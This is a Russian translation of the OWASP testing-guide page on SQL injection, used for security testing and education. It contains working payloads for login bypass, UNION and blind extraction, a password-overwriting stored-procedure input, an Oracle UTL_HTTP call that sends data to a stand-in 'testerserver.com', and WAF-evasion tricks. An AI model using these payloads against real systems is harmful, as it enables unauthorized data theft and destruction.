Skip to content

Latest commit

 

History

History
610 lines (356 loc) · 54 KB

File metadata and controls

610 lines (356 loc) · 54 KB
layout title tags
col-document
WSTG - Latest
WSTG

{% include breadcrumb.html %}

Тестирование SQL-инъекций

ID
WSTG-INPV-05

Обзор

Тестирование SQL-инъекций проверяет, возможно ли ввести данные в приложение таким образом, чтобы оно выполняло непредусмотренный разработчиком SQL-запрос к базе данных. Тестировщики обнаруживают уязвимость SQL-инъекции, если приложение использует ввод пользователя для создания SQL-запросов без надлежащей проверки входных данных. Успешное использование уязвимости этого класса позволяет неавторизованному пользователю получать доступ к информации в базе данных или манипулировать ими.

Атака SQL-инъекции состоит из вставки или «инъекции» частичного, или полного SQL-запроса через ввод данных или их передачу от клиента (браузера) в web-приложение. Успешная атака SQL-инъекции может читать конфиденциальные данные из базы данных, изменять данные в ней (вставлять/обновлять/удалять), выполнять административные операции (например, выключение СУБД), восстанавливать содержимое файла, существующего в файловой системе СУБД, или записывать файлы в файловую систему, и, в некоторых случаях давать команды операционной системе. Атаки SQL-инъекции — тип атаки инъекции, при котором команды SQL вводятся в плоскость данных, чтобы повлиять на выполнение предопределённых SQL-команд.

Как правило, web-приложения составляют SQL-выражения, написанные программистами, смешивая с данными, предоставляемыми пользователем. Пример:

select title, text from news where id=$id

В приведённом выше примере переменная $id содержит данные, предоставляемые пользователем, в то время как остальная часть SQL является статичной, предоставленной программистом; что делает SQL-запрос динамическим.

Из-за особенностей его структуры, пользователь может ввести модифицированные входные данные, пытаясь заставить исходный SQL-запрос выполнить дальнейшие действия по своему выбору. Пример ниже иллюстрирует введённые пользователем данные "10 or 1=1", меняет логику SQL-запроса, модифицировав предложение WHERE, где добавляется условие "or 1=1".

select title, text from news where id=10 or 1=1

Атаки SQL-инъекций можно разделить на следующие три класса:

  • Классические: данные извлекаются с использованием того же канала, который используется для ввода SQL-кода. Это самый простой вид атаки, при котором полученные данные представляются непосредственно на web-странице приложения.
  • Внеполосные: данные извлекаются по другому каналу (например, формируется электронное письмо с результатами запроса и отправляется тестировщику).
  • Косвенные или слепые: фактической передачи данных нет, но тестировщик способен восстановить информацию, отправляя определённые запросы и наблюдая за результирующим поведением сервера БД.

Успешная SQL-инъекция требует, чтобы злоумышленник создал синтаксически правильный SQL-запрос. Если приложение возвращает сообщение об ошибке, вызванное неправильным запросом, то злоумышленнику может оказаться проще восстановить логику исходного запроса и, следовательно, понять, как правильно выполнить инъекцию. Однако, если приложение скрывает детали ошибки, то тестировщик должен иметь возможность реконструировать логику исходного запроса.

Существует пять распространённых методов эксплуатации таких уязвимостей. Также эти методы иногда можно использовать в сочетаниях (например, оператор union с внеполосной SQL-инъекцией):

  • Оператор Union: может использоваться, когда SQL-инъекция встроена в выражение SELECT, что позволяет объединить два запроса в один результат или набор результатов.
  • Логический вывод: использует логические условия, чтобы проверить, являются ли определённые условия истинными или ложными.
  • Основанный на ошибках: этот метод заставляет базу данных выдавать ошибку, предоставляя злоумышленнику или тестировщику информацию, на основе которой можно усовершенствовать инъекцию.
  • Внеполосный: метод, используемый для извлечения данных по другому каналу (например, установить HTTP-соединение для отправки результатов на web-сервер).
  • Задержка по времени: использует команды базы данных (например, sleep) для задержки ответов в условных запросах. Это полезно, когда у злоумышленника нет ответа от приложения (результата, вывода или ошибки).

Задачи тестирования

  • Найти точки инъекции SQL.
  • Оценить воздействие инъекции и уровень доступа, который может быть получен с её помощью.

Как тестировать

Методы обнаружения

Первый шаг в этом тесте — понять, когда приложение взаимодействует с сервером БД для доступа к данным. Типичные примеры случаев, когда приложению необходимо общаться с БД, включают:

  • Формы аутентификации: когда аутентификация выполняется с помощью web-формы, есть вероятность, что учётные данные пользователя проверяются по базе данных, которая содержит все имена пользователей и пароли (или хэши паролей).
  • Поисковые системы: введённая пользователем строка может быть использована в SQL-запросе, извлекающем все соответствующие её условиям записи из базы данных.
  • Сайты электронной коммерции: товары, услуги и их характеристики (цена, описание, доступность и т.д.), скорее всего, будут храниться в базе данных.

Тестировщик должен составить список всех полей ввода, значения которых могут быть использованы при построении SQL-запроса, включая скрытые поля POST-запросов, а затем протестировать их отдельно, пытаясь повлиять на запрос и вызвать ошибку. Учитывайте также заголовки HTTP и cookie.

Самый первый тест обычно состоит из добавления символа одинарной кавычки ' или точки с запятой ; к тестируемому полю или параметру. Первый используется в SQL как признак конца строки и, если его не отфильтровать приложением, приведёт к некорректному запросу. Второй используется для завершения оператора SQL, и, если не отфильтровать, он также может вызвать ошибку. Вывод ошибки из-за уязвимого поля может выглядеть следующим образом (в данном случае на примере Microsoft SQL Server):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Также можно использовать разделители для обозначения комментариев (-- или /* */, и т.д.) и другие ключевые слова SQL, такие как AND и OR, чтобы попытаться изменить запрос. Очень простой, но иногда всё же эффективный метод — просто вставить текстовую строку вместо ожидаемого числа, поскольку может возникнуть ошибка, подобная следующей:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

Отслеживайте ответы web-сервера и просмотрите исходный код HTML/JavaScript. Иногда ошибка в нём, но по какой-то причине (например, ошибка JavaScript, HTML-комментарии и т.д.) она не отображается пользователю. Полное сообщение об ошибке, подобное приведённым в примерах, даёт массу информации для проведения успешной инъекции. Тем не менее, приложения часто не дают столько подробностей: может быть выдано простое '500 Server Error' или пользовательская страница ошибки, что означает, что нам нужно использовать методы слепой инъекции. В любом случае, очень важно тестировать каждое поле по отдельности: должна меняться только одна переменная, а все остальные оставаться неизменными, чтобы точно понять, какие параметры уязвимы, а какие нет.

Стандартное тестирование SQL-инъекций

Классическая SQL-инъекция

Рассмотрим следующий SQL-запрос:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Подобный запрос обычно поступает от web-приложения для аутентификации пользователя. Если запрос возвращает значение, это означает, что в базе данных существует пользователь с таким набором учётных данных, тогда пользователю разрешён вход в систему, в противном случае доступ запрещён. Значения полей ввода обычно получают от пользователя через web-форму. Предположим, мы вставляем следующие значения имени пользователя и пароля:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

Запрос будет таким:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Если предположить, что значения параметров отправляются на сервер методом GET, а домен уязвимого сайта — www.example.com, то запрос, который мы выполним, будет следующим:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

После небольшого анализа мы замечаем, что запрос возвращает значение (или набор значений), потому что условие всегда истинно (OR 1=1). Таким образом, система аутентифицировала пользователя, не зная ни его имени, ни пароля.

Примечание. В некоторых системах первой строкой таблицы пользователей выводится пользователь-администратор. В некоторых случаях это может быть профиль.

Другой пример запроса:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

Здесь есть две проблемы: одна из-за использования скобок, а другая — в использовании хэш-функции MD5. Сначала определимся со скобками. Задача состоит в добавлении ряда закрывающих скобок, пока мы не получим корректный запрос. Чтобы решить вторую проблему, попытаемся обойти второе условие. Мы добавляем к нашему запросу завершающий символ, означающий начало комментария. Таким образом, всё, что идёт за ним, считается комментарием. Каждая СУБД имеет свой синтаксис для комментариев, однако общий для большинства баз данных символ — /*. В Oracle используется символ --. При этом значения, которые мы будем использовать в качестве имени пользователя и пароля, будут следующими:

$username = 1' or '1' = '1'))/*

$password = foo

Таким образом, мы получим следующий запрос:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(Из-за включения разделителя комментариев в значение $username часть запроса с паролем будет игнорироваться.)

URL запроса будет:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Он может выдать несколько значений. Иногда код аутентификации проверяет, что количество выдаваемых записей/результатов точно равно 1. В предыдущих примерах это было бы сложно (в базе данных есть только одно значение для каждого пользователя). Чтобы обойти эту проблему, достаточно вставить команду SQL, которая накладывает условие, что количество возвращаемых результатов должно быть равно единице (выдаётся одна запись). Для достижения этой цели мы используем оператор LIMIT <num>, где <num> — количество результатов/записей, которые мы хотим получить. По отношению к предыдущему примеру значение полей Username и Password будет изменено следующим образом:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

Таким образом, мы получаем запрос, подобный следующему:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

Оператор SELECT

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также запрос к скрипту, который выполняет приведённый выше запрос:

http://www.example.com/product.php?id=10

Когда тестировщик пробует ввести допустимое значение (например, 10), приложение выдаёт описание продукта. Хороший способ проверить, уязвимо ли приложение в этом сценарии, — поиграть с логикой, используя операторы AND и OR.

Рассмотрим запрос:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

В этом случае, возможно, приложение вернёт какое-то сообщение о том, что контент недоступен или пустую страницу. Затем тестировщик может отправить истинное утверждение и проверить, есть ли на самом деле результат:

http://www.example.com/product.php?id=10 AND 1=1

Составные запросы

В зависимости от API и СУБД, которые использует web-приложение (например, PHP + PostgreSQL, ASP + SQL Server), может существовать возможность выполнять более одного запроса за один вызов.

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Способом эксплуатации описанного выше сценария было бы:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

Таким образом можно выполнять много запросов подряд и независимо от первого запроса.

Определение базы данных

Несмотря на то, что язык SQL является стандартом, каждая СУБД имеет свои особенности и отличается от других во многих аспектах, таких как специальные команды, функции для извлечения данных, например, имён пользователей и баз данных, строки комментариев и т.д.

Когда тестировщики переходят к более продвинутой эксплуатации SQL-инъекций, им необходимо знать, что представляет собой сервер базы данных.

Ошибки, выдаваемые приложением

Первый способ узнать, какой сервер баз данных используется, — посмотреть на ошибки, выдаваемые приложением. Ниже приведены некоторые примеры сообщений об ошибках:

MySQL:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

Один полный UNION SELECT с version() также может помочь узнать сервер базы данных.

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

Если сообщения об ошибке нет или модифицировано стандартное, тестировщик может попытаться ввести инъекцию в строковые поля, используя соответствующие символы конкатенации:

  • MySQL: ‘test’ + ‘ing’
  • SQL Server: ‘test’ ‘ing’
  • Oracle: ‘test’||’ing’
  • PostgreSQL: ‘test’||’ing’

Методы эксплуатации

Метод эксплуатации UNION

Оператор UNION используется в SQL-инъекциях для присоединения специально составленного запроса к исходному. Результат поддельного запроса будет присоединён к результату исходного, что позволит получить значения столбцов других таблиц. Предположим для наших примеров, что запрос, выполняемый сервером, выглядит следующим образом:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

Установим $id в следующее значение:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Получаем следующий запрос:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Который объединит результат исходного запроса со всеми номерами кредитных карт в таблице CreditCardTable. Ключевое слово ALL необходимо для обхода запросов, использующих ключевое слово DISTINCT. Отметим, что помимо номеров кредитных карт мы выбрали два других значения. Эти два значения необходимы, потому что два запроса должны иметь равное количество параметров/столбцов, чтобы избежать синтаксической ошибки.

Первое, что необходимо для эксплуатации уязвимости SQL-инъекций с использованием данного метода, — найти правильное количество столбцов в операторе SELECT.

Для достижения этой цели можно использовать предложение ORDER BY, за которым следует число, указывающее номер выбранного столбца базы данных:

http://www.example.com/product.php?id=10 ORDER BY 10--

Если запрос выполняется успешно, можно предположить, что в этом примере в операторе SELECT 10 или более столбцов. Если неудачей, то запрос должен выводить менее 10 столбцов. Если появится сообщение об ошибке, вероятно, это будет:

Unknown column '10' in 'order clause'

После того, как тестировщик узнает количество столбцов, следующим шагом будет определение их типа. Предполагая, что в примере выше было 3 столбца, можно попробовать значение NULL для каждого типа:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

Если запрос завершится неудачей, мы увидим что-то вроде:

All cells in a column must have the same datatype

Если запрос выполняется успешно, первый столбец может быть целым числом. Можем двигаться дальше:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

После успешного сбора информации, в зависимости от приложения, оно может показать только первый результат, потому что обрабатывает только первую строку из набора результатов. В этом случае можно использовать предложение LIMIT, или установить недопустимое значение, сделав действительным только второй запрос (предположим, что в базе данных нет записи с id, равным 99999):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

Эксплуатация методом логического вывода

Эксплуатация методом логического вывода полезна, когда тестировщик обнаруживает ситуацию слепой SQL-инъекции, в которой ничего не известно о результате операции. Например, такое поведение проявляется в тех случаях, когда программист создал нестандартную страницу ошибки, которая ничего не говорит о структуре запроса или базе данных, т.е. не выдаёт ошибку SQL, а просто выводит HTTP 500, 404 или перенаправление.

Используя методы логического вывода, можно обойти это препятствие и, таким образом, узнать значения желаемых полей. Этот метод состоит в выполнении ряда логических запросов к серверу, наблюдения за ответами и, наконец, вывода значения из этих ответов. Мы, как всегда, рассматриваем домен www.example.com и предположим, что он содержит параметр с именем id, уязвимый для SQL-инъекций. Это означает, что при выполнении запроса

http://www.example.com/index.php?id=1'

мы получим страницу с нестандартным сообщением, вызванным синтаксической ошибкой в запросе. Предположим, что на сервере выполняется запрос

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

который можно эксплуатировать с помощью методов, рассмотренных ранее. Мы хотим получить значения поля username. Тесты, которые мы проведём, позволят получить значение этого поля, извлекая его посимвольно. Это возможно с помощью стандартных функций, присутствующих практически в каждой базе данных. Для наших примеров понадобятся следующие псевдофункции:

  • SUBSTRING (text, start, length): выдаёт подстроку из text, начинающуюся с позиции start длиной length. Если start больше длины text, то null.

  • ASCII (char): ASCII-значение char, или null, если char равен 0.

  • LENGTH (text): количество символов в text.

С помощью данных функций мы проведём наши тесты для первого символа; когда выясним его значение, перейдем ко второму и т.д., пока не узнаем всё значение целиком. В тестах функция SUBSTRING будет применяться, чтобы выбирать по одному символу за раз (выбор одного символа означает присвоение параметру length значения 1), и функция ASCII, чтобы получить значение в таблице ASCII и сравнить между собой два числа. Сравнение проводится по всем значениям таблицы ASCII до тех пор, пока не будет найдено правильное. В качестве примера возьмём следующее значение Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

получим следующий запрос (с этого момента будем называть его косвенным):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

Предыдущий пример возвращает результат тогда и только тогда, когда первый символ поля username равен ASCII-значению 97. Если получаем значение false, то увеличиваем индекс по таблице ASCII с 97 до 98 и повторяем запрос. Если значение true, то обнуляем индекс и анализируем следующий символ, изменяя параметры функции SUBSTRING. Задача состоит в том, чтобы понять, каким образом отличить тесты, возвращающие true, от тех, которые возвращают false. Чтобы решить её, сделаем запрос, который всегда возвращает false. Это возможно, если для Id задать значение

$Id=1' AND '1' = '2

Получим следующий запрос:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

Полученный ответ от сервера (то есть HTML-код) будет значением false для наших тестов. Этого достаточно, чтобы проверить, равно ли значение, полученное в результате выполнения косвенного запроса, значению, полученному с помощью теста, выполненного ранее. Иногда этот метод не работает. Если сервер возвращает разные страницы в результате двух одинаковых последовательных web-запросов, мы не сможем отличить значение true от false. В этих частных случаях необходимо использовать особые фильтры, которые позволяют исключить код, который изменяется между запросами, и получить шаблон. Позже, для каждого логического запроса, мы будем извлекать относительный шаблон из ответа, используя ту же функцию, и сравнивать оба шаблона, чтобы определить результат теста.

В предыдущем обсуждении мы не касались проблемы определения условия завершения наших тестов, т.е. когда мы должны завершить процедуру логического вывода. Методы, позволяющие сделать это, используют особенность функций SUBSTRING и LENGTH. Когда тест сравнивает текущий символ с кодом ASCII 0 (т.е. со значением null) и тест возвращает значение true, то либо мы закончили процедуру вывода (просканировав всю строку), либо проанализированное нами значение содержит символ null.

Вставим следующее значение для поля Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

где N — количество символов, которые мы проанализировали до сих пор (не считая значения null). Получаем запрос:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

Запрос возвращает либо true, либо false. Если мы получаем true, то мы завершили вывод и, следовательно, знаем значение параметра. Если мы получаем false, то в значении параметра присутствует символ null, и мы должны продолжить анализ следующего параметра, пока не найдём новый null.

Для атаки с использованием слепой SQL-инъекции требуется большой объем запросов, поэтому может понадобиться автоматический инструмент для эксплуатации этой уязвимости.

Метод эксплуатации на основе ошибок

Метод эксплуатации на основе ошибок полезен, когда тестировщик по какой-либо причине не может использовать уязвимость SQL-инъекции, используя другие методы, например, UNION. Метод, основанный на ошибках, заключается в том, чтобы заставить базу данных выполнить некоторую операцию, результатом которой будет ошибка. Суть здесь в том, чтобы попытаться извлечь некоторые данные из базы и показать их в сообщении об ошибке. Этот метод эксплуатации может отличаться от СУБД к СУБД (см. разделы, посвященные конкретным СУБД).

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также скрипт, выполняющий запрос выше:

http://www.example.com/product.php?id=10

Вредоносный запрос будет (пример для Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

В этом примере тестировщик конкатенирует значение 10 с результатом функции UTL_INADDR.GET_HOST_NAME. Эта функция Oracle попытается выдать имя хоста переданного ей параметра, который является другим запросом, именем пользователя. Когда база данных ищет имя хоста с именем базы данных пользователя, произойдет сбой и будет выдано сообщение об ошибке, вроде

ORA-292257: host SCOTT unknown

Затем тестировщик может манипулировать параметром, переданным функции GET_HOST_NAME(), и результат будет показан в сообщении об ошибке.

Внеполосные методы эксплуатации

Этот метод полезен, когда тестировщик попадает в ситуацию слепой SQL-инъекции, в которой ничего не известно о результате операции. Метод заключается в использовании функций СУБД для выполнения внеполосного соединения и доставки результатов инъекции в составе запроса на сервер тестировщика. Как и методы, основанные на ошибках, каждая СУБД имеет свои собственные функции, которые можно посмотреть в разделах, посвящённых конкретным СУБД.

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также скрипт, который вызывает запрос выше:

http://www.example.com/product.php?id=10

Получаем вредоносный запрос:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--

В этом примере тестировщик конкатенирует значение 10 с результатом функции UTL_HTTP.request. Эта функция Oracle попытается подключиться к testerserver и выполнить HTTP-запрос GET, содержащий результат запроса SELECT user FROM DUAL. Тестировщик может настроить web-сервер (например, Apache) или использовать инструмент Netcat:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

Метод эксплуатации с временной задержкой

Метод эксплуатации с временной задержкой полезен, когда тестировщик обнаруживает ситуацию слепой SQL-инъекции, в которой ничего не известно о результате операции. Этот метод заключается в передаче запроса-инъекции, и в случае, если условие истинно, тестировщик может отслеживать время, необходимое для ответа сервера. Если есть задержка, тестировщик может предположить, что результат условного запроса является истинным. Этот метод эксплуатации может отличаться от СУБД к СУБД (см. разделы, посвященные конкретным СУБД).

Рассмотрим следующий SQL-запрос:

SELECT * FROM products WHERE id_product=$id_product

Рассмотрим также скрипт, который выполняет запрос выше:

http://www.example.com/product.php?id=10

Вредоносный запрос (например, для MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

В этом примере проверяется, соответствует ли MySql версии 5.x или нет, заставляя сервер задерживать ответ на 10 секунд. Можно увеличить время задержки и контролировать ответы. Не обязательно ждать ответа. Иногда можно установить очень большое значение задержки (например, 100) и отменить запрос через несколько секунд.

Инъекция хранимой процедуры

При использовании динамического SQL в рамках хранимой процедуры приложение должно надлежащим образом нейтрализовать пользовательский ввод, чтобы исключить риск инъекции кода. Если этого не сделать, пользователь может ввести вредоносный SQL, который будет выполнен в рамках хранимой процедуры.

Рассмотрим следующую хранимую процедуру для SQL Server:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  =Select 1 from users
Where username =+ @username +and passwd =+ @passwd
exec(@sqlstring)
Go

Пользовательский ввод:

anyusername or 1=1'
anypassword

Данная процедура не нейтрализует ввод, поэтому возвращаемое ею значение позволяет отображать существующую запись с этими параметрами.

Этот пример может показаться маловероятным из-за использования динамического SQL для входа пользователя, но рассмотрим динамический запрос для отчёта, в котором пользователь выбирает столбцы для просмотра. Пользователь может вставить вредоносный код в этот сценарий и скомпрометировать данные.

Рассмотрим следующую хранимую процедуру в SQL Server:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  =Select+ @columnamelist +from ReportTable‘
exec(@sqlstring)
Go

Пользовательский ввод:

1 from users; update users set password = 'password'; select *

Это приведёт к запуску отчёта и обновлению паролей всех пользователей.

Автоматизированная эксплуатация

Большинство ситуаций и методов, представленных здесь, можно автоматизировать с помощью тех или иных инструментов. В этой статье тестировщик может найти информацию о том, как выполнить автоматический аудит с помощью SQLMap

Методы уклонения от сигнатур SQL-инъекций

Эти методы используются для обхода средств защиты, таких как брандмауэры web-приложений (WAF) или системы предотвращения вторжений (IPS). Также см. SQL-инъекция в обход WAF.

Пробелы

Удаление или вставка пробелов не влияют на SQL-выражение. Например,

or 'a'='a'

or 'a'  =    'a'

Добавление специального символа, такого как перевод строки или табуляция, не изменит выполнение SQL-выражения. Например,

or
'a'=
        'a'

Null-байт

Используйте нулевой байт (%00) перед любыми символами, которые блокирует фильтр.

Например, если злоумышленник может ввести следующий SQL

' UNION SELECT password FROM Users WHERE username='admin'--

добавив нулевые байты будет

%00' UNION SELECT password FROM Users WHERE username='admin'--

Комментарии в SQL

Добавление встроенных комментариев в SQL также может помочь оператору SQL быть корректным и обойти фильтр SQL-инъекций. Возьмём эту SQL-инъекцию в качестве примера:

' UNION SELECT password FROM Users WHERE name='admin'--

Добавляя встроенные комментарии в SQL получим

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

Кодировка URL

Используйте URL-кодировщик для кодирования SQL-выражения

' UNION SELECT password FROM Users WHERE name='admin'--

Получаем выражение SQL-инъекции в кодировке URL

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

Кодировка символов

Функцию Char() можно использовать для замены символов, например, английских букв. Т.е. char(114,111,111,116) означает root:

' UNION SELECT password FROM Users WHERE name='root'--

Выражение SQL-инъекции с применением Char():

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

Конкатенация строк

Конкатенация разбивает ключевые слова SQL и обходит фильтры. Синтаксис конкатенации зависит от сервера базы данных. Возьмем в качестве примера MS SQL:

select 1

Простое SQL-выражение можно изменить, как показано ниже, с помощью конкатенации.

EXEC('SEL' + 'ECT 1')

Шестнадцатеричная кодировка

Метод hex-кодирования использует шестнадцатеричную кодировку для замены исходного символа SQL-выражения. Например, root может быть представлен как 726F6F74

Select user from users where name = 'root'

Тот же SQL с использованием HEX-значения:

Select user from users where name = 726F6F74

или

Select user from users where name = unhex('726F6F74')

Объявление переменных

Объявите SQL-инъекцию как переменную и выполните её.

Например, SQL-инъекция ниже

Union Select password

определяет SQL-выражение в переменной SQLivar

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)

Альтернативное выражение 'or 1 = 1'

OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

SQL-инъекция с символами подстановки

Большинство диалектов SQL поддерживают как односимвольные (обычно "?" или "_"), так и многосимвольные знаки подстановки (обычно "%" или "*"), которые могут использоваться в запросах с оператором LIKE. Даже когда для защиты от атак SQL-инъекций используются соответствующие меры защиты (такие как параметры или заранее подготовленные выражения), можно вставлять в запросы символы подстановки.

Например, если web-приложение в процессе оформления заказа позволяет пользователям вводить промокод, и проверяет, существует ли этот код в базе данных, с помощью запроса, например, SELECT * FROM discount_codes WHERE code LIKE ':code', то ввод значения % (которое вставляется вместо параметра :code) выведет все промокоды.

Этот метод также можно использовать для определения значений промокодов с помощью уточняющих запросов (например, a%, b%, ba%, и т.д.).

Меры защиты

Общие сведения о контроле входных данных см. в Памятке по контролю входных данных.

Инструменты

Ссылки

Для следующих СУБД и технологий были созданы свои разделы руководства по тестированию:

Технические руководства

Документация по уязвимостям SQL-инъекций в продуктах